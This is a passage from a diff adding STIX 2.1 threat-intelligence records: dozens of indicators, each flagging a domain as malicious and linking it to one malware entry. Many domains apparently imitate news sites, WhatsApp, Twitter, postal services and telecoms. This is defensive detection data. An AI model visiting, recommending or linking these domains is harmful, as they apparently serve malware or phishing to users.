"malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f774aa0e-514d-492d-9e92-a3298b8eb964", + "created": "2026-02-17T19:39:51.777899Z", + "modified": "2026-02-17T19:39:51.777899Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='intnews.world']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.777899Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cac0c207-e264-4eda-b9eb-d7d722f305e0", + "created": "2026-02-17T19:39:51.778291Z", + "modified": "2026-02-17T19:39:51.778291Z", + "relationship_type": "indicates", + "source_ref": "indicator--f774aa0e-514d-492d-9e92-a3298b8eb964", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5309f235-934b-4d96-b55e-331b9250283f", + "created": "2026-02-17T19:39:51.778377Z", + "modified": "2026-02-17T19:39:51.778377Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectivitychecker.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.778377Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59742f6e-a67b-4173-ae87-fdfb8c287d51", + "created": "2026-02-17T19:39:51.778706Z", + "modified": "2026-02-17T19:39:51.778706Z", + "relationship_type": "indicates", + "source_ref": "indicator--5309f235-934b-4d96-b55e-331b9250283f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b710b71-d419-4d04-b073-948b0ffc8077", + "created": "2026-02-17T19:39:51.778783Z", + "modified": "2026-02-17T19:39:51.778783Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tiny.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.778783Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3cbc5339-4057-4d55-9538-70a4485d43b1", + "created": "2026-02-17T19:39:51.779096Z", + "modified": "2026-02-17T19:39:51.779096Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b710b71-d419-4d04-b073-948b0ffc8077", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--985340ad-f512-4137-94d7-63a7165b8a57", + "created": "2026-02-17T19:39:51.779171Z", + "modified": "2026-02-17T19:39:51.779171Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='visavfsglobal.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.779171Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03d48318-8008-4d73-b331-9fce264fe0ee", + "created": "2026-02-17T19:39:51.779478Z", + "modified": "2026-02-17T19:39:51.779478Z", + "relationship_type": "indicates", + "source_ref": "indicator--985340ad-f512-4137-94d7-63a7165b8a57", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--840f71d1-b84b-448f-ae8e-43e4b989d2a1", + "created": "2026-02-17T19:39:51.779552Z", + "modified": "2026-02-17T19:39:51.779552Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='servers-mobile.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.779552Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a13437a-b2db-4021-8db8-c8137460e851", + "created": "2026-02-17T19:39:51.779866Z", + "modified": "2026-02-17T19:39:51.779866Z", + "relationship_type": "indicates", + "source_ref": "indicator--840f71d1-b84b-448f-ae8e-43e4b989d2a1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab0f214b-2295-48e5-a88d-68eb43dee6c0", + "created": "2026-02-17T19:39:51.779943Z", + "modified": "2026-02-17T19:39:51.779943Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shorten.fi']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.779943Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04a44a1e-7c58-4ca8-853a-c7a1c6db5bb6", + "created": "2026-02-17T19:39:51.780252Z", + "modified": "2026-02-17T19:39:51.780252Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab0f214b-2295-48e5-a88d-68eb43dee6c0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a890f8ec-b3d3-4821-94fb-0a171dcf95cc", + "created": "2026-02-17T19:39:51.780329Z", + "modified": "2026-02-17T19:39:51.780329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sextape225.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.780329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--53ebed8d-5b94-4a6e-b759-fa6b6b5b5b9d", + "created": "2026-02-17T19:39:51.78075Z", + "modified": "2026-02-17T19:39:51.78075Z", + "relationship_type": "indicates", + "source_ref": "indicator--a890f8ec-b3d3-4821-94fb-0a171dcf95cc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6988a03f-3ce1-4b83-b058-3a34bc8f88e5", + "created": "2026-02-17T19:39:51.780831Z", + "modified": "2026-02-17T19:39:51.780831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ereportaz.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.780831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e152ee92-04be-4dbf-9567-4dc95f442eb3", + "created": "2026-02-17T19:39:51.781145Z", + "modified": "2026-02-17T19:39:51.781145Z", + "relationship_type": "indicates", + "source_ref": "indicator--6988a03f-3ce1-4b83-b058-3a34bc8f88e5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fc8c1e8-260a-4c20-bb52-07d3dc862cbc", + "created": "2026-02-17T19:39:51.781222Z", + "modified": "2026-02-17T19:39:51.781222Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lexpress-mg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.781222Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f65f141-3963-43b7-b480-f5790b8cad5f", + "created": "2026-02-17T19:39:51.78154Z", + "modified": "2026-02-17T19:39:51.78154Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fc8c1e8-260a-4c20-bb52-07d3dc862cbc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--608987a9-b9ce-4ee0-9cc3-8d109d127b04", + "created": "2026-02-17T19:39:51.781617Z", + "modified": "2026-02-17T19:39:51.781617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobnetlink3.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.781617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb213195-2083-4143-9232-76c09da1108e", + "created": "2026-02-17T19:39:51.781976Z", + "modified": "2026-02-17T19:39:51.781976Z", + "relationship_type": "indicates", + "source_ref": "indicator--608987a9-b9ce-4ee0-9cc3-8d109d127b04", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1fe0fd2-a9c6-49e8-88bb-bd12ea96a22c", + "created": "2026-02-17T19:39:51.782055Z", + "modified": "2026-02-17T19:39:51.782055Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conlnk.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.782055Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b6246bc-d00b-4769-a4c7-bbcdeda99db7", + "created": "2026-02-17T19:39:51.782374Z", + "modified": "2026-02-17T19:39:51.782374Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1fe0fd2-a9c6-49e8-88bb-bd12ea96a22c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2697e699-7aa5-4faf-8f8d-6842e49f6674", + "created": "2026-02-17T19:39:51.782453Z", + "modified": "2026-02-17T19:39:51.782453Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ebill.cosmote.center']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.782453Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3703193-162c-4b04-b185-6988d5d4df87", + "created": "2026-02-17T19:39:51.782779Z", + "modified": "2026-02-17T19:39:51.782779Z", + "relationship_type": "indicates", + "source_ref": "indicator--2697e699-7aa5-4faf-8f8d-6842e49f6674", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c95ba2c1-1b86-4251-8b87-def310056922", + "created": "2026-02-17T19:39:51.782857Z", + "modified": "2026-02-17T19:39:51.782857Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ongsworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.782857Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d73eb5a-6c53-4fae-9ba8-57664b20f7a2", + "created": "2026-02-17T19:39:51.783178Z", + "modified": "2026-02-17T19:39:51.783178Z", + "relationship_type": "indicates", + "source_ref": "indicator--c95ba2c1-1b86-4251-8b87-def310056922", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0995d496-82de-4886-a4f7-cb3676f4f207", + "created": "2026-02-17T19:39:51.783256Z", + "modified": "2026-02-17T19:39:51.783256Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='msbsck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.783256Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c14e403-c9cb-4155-b972-2593c11861ec", + "created": "2026-02-17T19:39:51.783573Z", + "modified": "2026-02-17T19:39:51.783573Z", + "relationship_type": "indicates", + "source_ref": "indicator--0995d496-82de-4886-a4f7-cb3676f4f207", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5102b0ea-cfdf-4868-b09b-1be444676ce4", + "created": "2026-02-17T19:39:51.783652Z", + "modified": "2026-02-17T19:39:51.783652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cut.red']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.783652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78c1bd0c-bb16-4966-982e-625a5d0a75e8", + "created": "2026-02-17T19:39:51.783968Z", + "modified": "2026-02-17T19:39:51.783968Z", + "relationship_type": "indicates", + "source_ref": "indicator--5102b0ea-cfdf-4868-b09b-1be444676ce4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1825a50d-2bf6-49d4-810e-7bca31798680", + "created": "2026-02-17T19:39:51.784047Z", + "modified": "2026-02-17T19:39:51.784047Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bbitly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.784047Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--10fdd863-713e-4aed-8fe8-2114e1d4e2dc", + "created": "2026-02-17T19:39:51.784436Z", + "modified": "2026-02-17T19:39:51.784436Z", + "relationship_type": "indicates", + "source_ref": "indicator--1825a50d-2bf6-49d4-810e-7bca31798680", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcb0753c-3404-4f5f-8859-78ac7f445cbb", + "created": "2026-02-17T19:39:51.784516Z", + "modified": "2026-02-17T19:39:51.784516Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olimpbets.kz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.784516Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78daa0b5-9573-4b31-ac14-a3f44aed94b0", + "created": "2026-02-17T19:39:51.784833Z", + "modified": "2026-02-17T19:39:51.784833Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcb0753c-3404-4f5f-8859-78ac7f445cbb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81dc3f85-bc90-49aa-8e2b-906445660eff", + "created": "2026-02-17T19:39:51.784915Z", + "modified": "2026-02-17T19:39:51.784915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solargoup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.784915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9dae209e-1188-478d-8a23-6097a7372856", + "created": "2026-02-17T19:39:51.785234Z", + "modified": "2026-02-17T19:39:51.785234Z", + "relationship_type": "indicates", + "source_ref": "indicator--81dc3f85-bc90-49aa-8e2b-906445660eff", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3be7e85f-9759-43e2-96d8-e516627a66db", + "created": "2026-02-17T19:39:51.785313Z", + "modified": "2026-02-17T19:39:51.785313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jakalas.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.785313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9b1cf9b-b12b-431d-96ab-7e5b5d6b561e", + "created": "2026-02-17T19:39:51.785684Z", + "modified": "2026-02-17T19:39:51.785684Z", + "relationship_type": "indicates", + "source_ref": "indicator--3be7e85f-9759-43e2-96d8-e516627a66db", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8823e233-0ba7-44ab-969c-6940e79dc17f", + "created": "2026-02-17T19:39:51.785765Z", + "modified": "2026-02-17T19:39:51.785765Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tly.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.785765Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2dd26d66-af93-4fc0-b150-9582d7b09268", + "created": "2026-02-17T19:39:51.786082Z", + "modified": "2026-02-17T19:39:51.786082Z", + "relationship_type": "indicates", + "source_ref": "indicator--8823e233-0ba7-44ab-969c-6940e79dc17f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--abd225f1-6362-41c4-ac3d-518a02f9ca49", + "created": "2026-02-17T19:39:51.78616Z", + "modified": "2026-02-17T19:39:51.78616Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tsapp.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.78616Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e910d7fe-fee2-45fd-89c2-289f3c488cfd", + "created": "2026-02-17T19:39:51.786481Z", + "modified": "2026-02-17T19:39:51.786481Z", + "relationship_type": "indicates", + "source_ref": "indicator--abd225f1-6362-41c4-ac3d-518a02f9ca49", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97687fd4-9fc7-4d12-85f3-3e0533a076ea", + "created": "2026-02-17T19:39:51.786561Z", + "modified": "2026-02-17T19:39:51.786561Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jofki.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.786561Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6d07d16-22ed-4197-bff9-bee55bd52a03", + "created": "2026-02-17T19:39:51.786876Z", + "modified": "2026-02-17T19:39:51.786876Z", + "relationship_type": "indicates", + "source_ref": "indicator--97687fd4-9fc7-4d12-85f3-3e0533a076ea", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7cd102ac-d8e2-4c69-80d7-3e76379a9201", + "created": "2026-02-17T19:39:51.786954Z", + "modified": "2026-02-17T19:39:51.786954Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='post-kz.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.786954Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e36d5a6-adb0-4b64-b7df-79d37e603937", + "created": "2026-02-17T19:39:51.787278Z", + "modified": "2026-02-17T19:39:51.787278Z", + "relationship_type": "indicates", + "source_ref": "indicator--7cd102ac-d8e2-4c69-80d7-3e76379a9201", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d5fe8a2-de39-4c13-bbcd-38c54c50d290", + "created": "2026-02-17T19:39:51.787354Z", + "modified": "2026-02-17T19:39:51.787354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='almasryelyuom.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.787354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--98b8e129-275b-4f1f-958d-1c89a5bb0b2e", + "created": "2026-02-17T19:39:51.787676Z", + "modified": "2026-02-17T19:39:51.787676Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d5fe8a2-de39-4c13-bbcd-38c54c50d290", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f11f190f-5795-4152-bb23-52f350583576", + "created": "2026-02-17T19:39:51.787755Z", + "modified": "2026-02-17T19:39:51.787755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tw.itter.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.787755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c97a91cd-b88a-4770-ad80-04cf875cba9b", + "created": "2026-02-17T19:39:51.78836Z", + "modified": "2026-02-17T19:39:51.78836Z", + "relationship_type": "indicates", + "source_ref": "indicator--f11f190f-5795-4152-bb23-52f350583576", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6583437f-fb7e-41b4-962e-64c21c57511f", + "created": "2026-02-17T19:39:51.788439Z", + "modified": "2026-02-17T19:39:51.788439Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wha.tsapp.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.788439Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1492ff2-56e0-4210-99d1-45da80102115", + "created": "2026-02-17T19:39:51.788753Z", + "modified": "2026-02-17T19:39:51.788753Z", + "relationship_type": "indicates", + "source_ref": "indicator--6583437f-fb7e-41b4-962e-64c21c57511f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04ab9f99-9387-40da-bcd7-c8e3a995f662", + "created": "2026-02-17T19:39:51.78883Z", + "modified": "2026-02-17T19:39:51.78883Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uberegypt.cn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.78883Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41cb94a2-89a2-46e7-83b4-04f5ac06b0f5", + "created": "2026-02-17T19:39:51.789194Z", + "modified": "2026-02-17T19:39:51.789194Z", + "relationship_type": "indicates", + "source_ref": "indicator--04ab9f99-9387-40da-bcd7-c8e3a995f662", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7091f1f9-7255-4cf2-bc72-bfc6428a7622", + "created": "2026-02-17T19:39:51.789272Z", + "modified": "2026-02-17T19:39:51.789272Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lamborghini-s.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.789272Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e299214-bf9f-4201-96bc-7ee4851e27b9", + "created": "2026-02-17T19:39:51.789586Z", + "modified": "2026-02-17T19:39:51.789586Z", + "relationship_type": "indicates", + "source_ref": "indicator--7091f1f9-7255-4cf2-bc72-bfc6428a7622", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63ac4e24-ffd8-4c53-847a-9df9e7c625b2", + "created": "2026-02-17T19:39:51.789669Z", + "modified": "2026-02-17T19:39:51.789669Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='insurance.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.789669Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c837a59b-9d45-469a-a027-b50c0b9784bb", + "created": "2026-02-17T19:39:51.789983Z", + "modified": "2026-02-17T19:39:51.789983Z", + "relationship_type": "indicates", + "source_ref": "indicator--63ac4e24-ffd8-4c53-847a-9df9e7c625b2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5cf7f300-e24e-418d-ab5e-6b35a5905c60", + "created": "2026-02-17T19:39:51.790058Z", + "modified": "2026-02-17T19:39:51.790058Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vestinfos.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.790058Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--53f45fd4-1c73-4360-ae54-bf26d7eb0b17", + "created": "2026-02-17T19:39:51.790372Z", + "modified": "2026-02-17T19:39:51.790372Z", + "relationship_type": "indicates", + "source_ref": "indicator--5cf7f300-e24e-418d-ab5e-6b35a5905c60", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b89bbcf2-257a-4db0-b506-ee7197d646fd", + "created": "2026-02-17T19:39:51.790447Z", + "modified": "2026-02-17T19:39:51.790447Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='podcastnow.club']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.790447Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a553925d-6cd5-4bcd-bbe9-4a84b482ce64", + "created": "2026-02-17T19:39:51.790775Z", + "modified": "2026-02-17T19:39:51.790775Z", + "relationship_type": "indicates", + "source_ref": "indicator--b89bbcf2-257a-4db0-b506-ee7197d646fd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba32a101-e78b-488a-a18e-d1037d6353f2", + "created": "2026-02-17T19:39:51.790852Z", + "modified": "2026-02-17T19:39:51.790852Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sustanbuild.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.790852Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1bdc0e57-858f-4586-8369-617e9cb0b96f", + "created": "2026-02-17T19:39:51.791168Z", + "modified": "2026-02-17T19:39:51.791168Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba32a101-e78b-488a-a18e-d1037d6353f2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b0331b32-2588-4c63-a9e2-72bed6bd96bf", + "created": "2026-02-17T19:39:51.791243Z", + "modified": "2026-02-17T19:39:51.791243Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kranos.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.791243Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7bcd549-ecff-44b3-a65a-335e8e1cc830", + "created": "2026-02-17T19:39:51.791561Z", + "modified": "2026-02-17T19:39:51.791561Z", + "relationship_type": "indicates", + "source_ref": "indicator--b0331b32-2588-4c63-a9e2-72bed6bd96bf", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83c89152-9770-4e81-8359-d7d350e698d6", + "created": "2026-02-17T19:39:51.791639Z", + "modified": "2026-02-17T19:39:51.791639Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='burgerprince.us']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.791639Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ffa0da53-f0e3-4d0f-beb7-cb19272a8437", + "created": "2026-02-17T19:39:51.791961Z", + "modified": "2026-02-17T19:39:51.791961Z", + "relationship_type": "indicates", + "source_ref": "indicator--83c89152-9770-4e81-8359-d7d350e698d6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42c1b8e8-3e1e-408b-8e0a-2af0b4fb94b8", + "created": "2026-02-17T19:39:51.79204Z", + "modified": "2026-02-17T19:39:51.79204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timeupdateservice.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.79204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7c0c6d6-2a4a-4a7a-bda9-8377c936401a", + "created": "2026-02-17T19:39:51.792439Z", + "modified": "2026-02-17T19:39:51.792439Z", + "relationship_type": "indicates", + "source_ref": "indicator--42c1b8e8-3e1e-408b-8e0a-2af0b4fb94b8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df9e3bec-9776-434f-955f-258a5718fe03", + "created": "2026-02-17T19:39:51.792522Z", + "modified": "2026-02-17T19:39:51.792522Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='egypt-post.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.792522Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2760b67d-9990-4e6f-aec3-58d506dde62f", + "created": "2026-02-17T19:39:51.792847Z", + "modified": "2026-02-17T19:39:51.792847Z", + "relationship_type": "indicates", + "source_ref": "indicator--df9e3bec-9776-434f-955f-258a5718fe03", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7b852e1c-ffc7-42f2-8091-34997a2b30a7", + "created": "2026-02-17T19:39:51.792925Z", + "modified": "2026-02-17T19:39:51.792925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trecv.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.792925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71909806-cba9-4ffb-989f-b101e83940aa", + "created": "2026-02-17T19:39:51.793239Z", + "modified": "2026-02-17T19:39:51.793239Z", + "relationship_type": "indicates", + "source_ref": "indicator--7b852e1c-ffc7-42f2-8091-34997a2b30a7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4e6c55d-9dae-4c44-8d2b-a343d39dbb39", + "created": "2026-02-17T19:39:51.793319Z", + "modified": "2026-02-17T19:39:51.793319Z", + 